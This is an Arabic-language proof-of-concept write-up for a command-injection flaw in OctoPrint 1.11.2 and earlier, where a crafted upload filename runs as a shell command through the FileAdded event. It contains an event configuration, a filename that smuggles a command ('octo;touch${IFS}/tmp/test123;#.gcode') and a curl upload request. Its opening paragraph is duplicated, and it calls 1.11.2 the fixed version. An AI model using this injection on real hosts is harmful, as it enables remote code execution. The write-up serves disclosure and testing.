
في إصدار OctoPrint <=1.11.2، يمكن للمهاجم الذي لديه صلاحية رفع الملفات (مثل مفتاح API صالح أو جلسة) إنشاء اسم ملف ضار يتجاوز عملية التنقية، ثم يتم تنفيذه لاحقًا بواسطة نظام الأحداث في OctoPrint، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على المضيف.
في OctoPrint الإصدار <=1.11.2، يمكن لمهاجم لديه صلاحية رفع ملف (مثل مفتاح API صالح أو جلسة) صياغة اسم ملف خبيث يتجاوز التعقيم ويتم تنفيذه لاحقًا بواسطة نظام الأحداث في OctoPrint، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على المضيف.
تم تنزيل أحدث إصدار ثابت: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
أوقف خدمة OctoPrint بمجرد الانتهاء من الخطوات أعلاه.
عدّل ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

أنشئ /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
أعد تشغيل خدمة OctoPrint.
export API_KEY='<المفتاح الذي جمعته سابقًا من واجهة الويب>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'التفسير: ${IFS} هو فاصل الحقول الداخلي للقشرة (غالبًا مسافة). يتجاوز التعقيم عند الحقن.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

إذا كان /tmp/test123 موجودًا، فهذا يعني أن الأمر المُحقن قد نُفذ بنجاح → تم تأكيد RCE.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
عند رفع ملف:
; و${IFS} وما إلى ذلك) إلى قشرة.النتيجة: تنفيذ تعليمات برمجية عن بُعد (RCE) على النظام المضيف.